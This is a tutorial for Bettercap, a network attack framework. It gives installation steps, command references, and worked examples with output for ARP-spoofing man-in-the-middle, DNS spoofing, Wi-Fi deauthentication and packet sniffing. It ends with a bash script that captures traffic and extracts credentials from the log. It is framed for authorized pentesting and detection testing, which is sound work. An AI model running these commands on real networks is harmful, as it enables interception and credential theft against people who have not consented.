Bettercap is a modern, modular, Go-based network attack and monitoring framework often described as Ettercap’s spiritual successor. It is built around a modules + caplets architecture: every capability (ARP spoofing, DNS spoofing, Wi-Fi recon/deauth, BLE scanning, HTTP/HTTPS proxying, packet sniffing, credential harvesting) is a self-contained module that can be enabled, configured, and chained together, either interactively or via scripted caplets (.cap files).
Key capabilities:
- Network recon — passive/active host discovery, ARP table mapping
- ARP spoofing / MITM (
arp.spoof) - DNS spoofing (
dns.spoof) - HTTP/HTTPS proxy with SSL-stripping-style interception (
http.proxy,https.proxy) - Wi-Fi module — AP/client discovery, deauthentication, handshake capture
- BLE (Bluetooth Low Energy) scanning
- Packet sniffer (
net.sniff) with protocol parsers for HTTP, FTP, POP, IMAP, credentials, etc. - REST API + Web UI for remote control and dashboards
- Caplets — scripted sequences of commands, similar to shell scripts, for repeatable attack chains
Bettercap has effectively replaced Ettercap and MITMf for most modern red-team workflows because of its active development, REST API, and Wi-Fi/BLE support.
Installation
Preinstalled on Kali. To (re)install or update:
sudo apt update
sudo apt install bettercap -y
Verify:
bettercap -version
Expected output:
bettercap v2.32.0 (built for linux amd64 with go1.21.0)
Installing/updating caplets:
sudo apt install bettercap-caplets -y
# or manually:
sudo git clone https://github.com/bettercap/caplets /usr/local/share/bettercap/caplets
Building from source (latest release):
sudo apt install build-essential libpcap-dev libusb-1.0-0-dev libnetfilter-queue-dev -y
go install github.com/bettercap/bettercap@latest
Syntax
bettercap [OPTIONS]
Once inside the interactive shell:
> <module>.<command> [ARGS]
Example:
> net.probe on
> arp.spoof on
Caplet execution:
bettercap -iface eth0 -caplet /path/to/script.cap
Command-Line Options Reference
| Option | Description |
|---|---|
-iface <IFACE> | Network interface to bind to |
-caplet <FILE> | Load and run a caplet script on startup |
-eval <COMMANDS> | Run inline commands (semicolon separated) then continue interactive session |
-no-history | Disable command history file |
-no-colors | Disable colored output |
-silent | Suppress startup banner/log noise |
-debug | Enable debug-level logging |
-help | Show help |
-version | Show version |
-cpu-profile <FILE> | Write CPU profiling data (for development) |
-mem-profile <FILE> | Write memory profiling data |
-api <ADDR:PORT> | Enable REST API on given address/port |
-api-cert <FILE> | TLS certificate for the API |
-env-file <FILE> | Load environment variables from file |
-gateway <IP> | Override auto-detected gateway |
-ifaces | List all available interfaces and exit |
-lteif <IFACE> | Use an LTE modem interface |
-config <FILE> | Load config commands from file |
Key interactive module commands (not CLI flags, run inside the Bettercap shell):
| Command | Description |
|---|---|
net.probe on/off | Actively probe LAN for live hosts |
net.recon on/off | Passive/active host discovery |
net.show | Show discovered hosts table |
arp.spoof on/off | Start/stop ARP spoofing MITM |
arp.spoof.targets <IPs> | Set specific target IP(s) |
arp.spoof.fullduplex true/false | Poison both victim and gateway |
dns.spoof on/off | Start/stop DNS spoofing |
dns.spoof.domains <domains> | Domains to spoof |
dns.spoof.address <IP> | IP to redirect spoofed domains to |
net.sniff on/off | Start/stop packet sniffer |
net.sniff.verbose true/false | Verbose packet output |
http.proxy on/off | Start/stop transparent HTTP proxy |
https.proxy on/off | Start/stop transparent HTTPS proxy |
set <module.option> <value> | Set a module configuration option |
help <module> | Show help for a specific module |
wifi.recon on/off | Start/stop Wi-Fi access point discovery |
wifi.deauth <BSSID/MAC> | Send deauth frames to a target |
ble.recon on/off | Bluetooth Low Energy device discovery |
events.stream on/off | Stream live event log |
caplet.update | Update installed caplets |
Basic Usage
List interfaces:
bettercap -ifaces
Expected output:
eth0: 192.168.1.15/24, MAC: 00:0c:29:3a:1b:2d
wlan0: (no address)
Launch interactive session on eth0:
sudo bettercap -iface eth0
Expected output:
bettercap v2.32.0 (type 'help' for a list of commands)
192.168.1.15 » net.probe on
[net.probe] Started net.recon and net.probe on eth0.
192.168.1.15 » net.show
IP MAC Hostname Vendor
192.168.1.1 00:1a:2b:3c:4d:5e router TP-Link
192.168.1.20 08:00:27:aa:bb:cc victim-pc Oracle VirtualBox
Practical Examples with Output
Example 1 — Basic ARP spoofing MITM + sniffing (interactive)
> set arp.spoof.targets 192.168.1.20
> arp.spoof on
[arp.spoof] Started ARP spoofer.
> net.sniff on
[net.sniff] Started net.sniff
[net.sniff] [192.168.1.20] ftp.login {"user":"student","pass":"MySecret123"}
Example 2 — Full-duplex spoofing (poison both target and gateway)
> set arp.spoof.fullduplex true
> set arp.spoof.targets 192.168.1.20
> arp.spoof on
Example 3 — Non-interactive one-liner with -eval
sudo bettercap -iface eth0 -eval "set arp.spoof.targets 192.168.1.20; arp.spoof on; net.sniff on; sleep 60; quit"
Example 4 — DNS spoofing to redirect a domain
> set dns.spoof.domains example.com
> set dns.spoof.address 192.168.1.15
> dns.spoof on
[dns.spoof] Spoofing 1 domains to 192.168.1.15
Victim resolving example.com:
$ nslookup example.com
Server: 192.168.1.1
Address: 192.168.1.1#53
Name: example.com
Address: 192.168.1.15
Example 5 — Running a caplet (scripted attack chain)
http-req-dump.cap:
set arp.spoof.targets 192.168.1.20
arp.spoof on
net.sniff on
http.proxy on
Run:
sudo bettercap -iface eth0 -caplet http-req-dump.cap
Example 6 — Wi-Fi access point recon
> wifi.recon on
[wifi.recon] Started (channels: all)
> wifi.show
SSID BSSID Ch Clients Signal
HomeNetwork aa:bb:cc:dd:ee:ff 6 2 -47 dBm
Example 7 — Wi-Fi deauthentication (lab AP you own)
> wifi.recon on
> wifi.deauth aa:bb:cc:dd:ee:ff
[wifi.deauth] Deauthing all clients from AP aa:bb:cc:dd:ee:ff
Example 8 — BLE device scan
> ble.recon on
[ble.recon] Started BLE discovery
> ble.show
MAC Name RSSI
11:22:33:44:55:66 Fitband-X3 -55
Example 9 — Enabling the REST API + Web UI dashboard
sudo bettercap -iface eth0 -api 127.0.0.1:8081 -eval "api.rest on; ui.update"
Output:
[api.rest] api.rest started on 127.0.0.1:8081
[ui.update] Downloading UI...
Then browse to http://127.0.0.1:8081/.
Example 10 — Filtering sniffed traffic by protocol
> set net.sniff.filter "tcp port 80"
> net.sniff on
Example 11 — Logging events to file
sudo bettercap -iface eth0 -eval "set arp.spoof.targets 192.168.1.20; arp.spoof on; net.sniff on" | tee /tmp/bettercap_session.log
Example 12 — Stopping all active MITM modules cleanly
> arp.spoof off
> net.sniff off
> dns.spoof off
[arp.spoof] Stopped, restoring ARP tables of targets.
Common Use Cases
- Rapid on-engagement MITM setup during authorized internal pentests
- Credential harvesting demonstrations for security-awareness training
- Wi-Fi network auditing (rogue AP detection, WPA handshake capture on owned networks)
- Web UI dashboard for live visibility during longer engagements
- Chaining multiple attack modules via caplets for repeatable, documented test procedures
- Validating detection coverage of network monitoring/IDS tools against modern ARP/DNS spoofing
Automation with Bash
#!/bin/bash
# bettercap_automation.sh - Automated ARP spoof + sniff session with time limit
IFACE="eth0"
TARGET="192.168.1.20"
DURATION=90
LOGFILE="/tmp/bettercap_$(date +%Y%m%d_%H%M%S).log"
echo "[*] Launching Bettercap session for ${DURATION}s, logging to $LOGFILE"
sudo timeout "$DURATION" bettercap -iface "$IFACE" -eval "
set arp.spoof.targets ${TARGET};
set arp.spoof.fullduplex true;
arp.spoof on;
net.sniff on;
" | tee "$LOGFILE"
echo "[*] Session ended, ARP tables restored automatically."
grep -i "login\|password\|user" "$LOGFILE" > "${LOGFILE}.creds" 2>/dev/null
echo "[*] Potential credential matches saved to ${LOGFILE}.creds"
Tips and Best Practices
- Use caplets for any repeatable test procedure — they make engagements reproducible and auditable.
- Enable
set arp.spoof.fullduplex trueonly when you need bidirectional visibility; one-directional spoofing is quieter. - The Web UI (
-api) is convenient for long engagements where you want a live dashboard, but bind it to127.0.0.1or a VPN-only interface, never expose it publicly. - Combine
net.sniff.filterwith a BPF expression to cut noise and focus captures on the protocol you actually need. - Always run
arp.spoof off(or let Bettercap exit cleanly) so ARP tables are restored — an abrupt kill can leave victims without connectivity. - Update caplets regularly (
caplet.update) since community caplets evolve with new modules.
Troubleshooting
| Problem | Cause / Fix |
|---|---|
Permission denied on start | Bettercap needs raw socket / packet capture privileges — run with sudo |
| No hosts discovered | net.probe/net.recon not enabled, or the interface is on the wrong subnet |
| Victim traffic not being intercepted | IP forwarding disabled on attacker host — enable via echo 1 > /proc/sys/net/ipv4/ip_forward |
wifi.recon shows nothing | Wi-Fi adapter doesn’t support monitor mode — check with airmon-ng or iw list |
| Web UI won’t load | -api not enabled, wrong bind address, or ui.update not run to download UI assets |
| Caplet fails silently | Syntax error in .cap file — run commands manually first to confirm they work |
References
- Official documentation and module reference: https://www.bettercap.org/
- Official GitHub repository: https://github.com/bettercap/bettercap
- Community caplets repository: https://github.com/bettercap/caplets
- Kali Linux Tools listing: https://www.kali.org/tools/bettercap/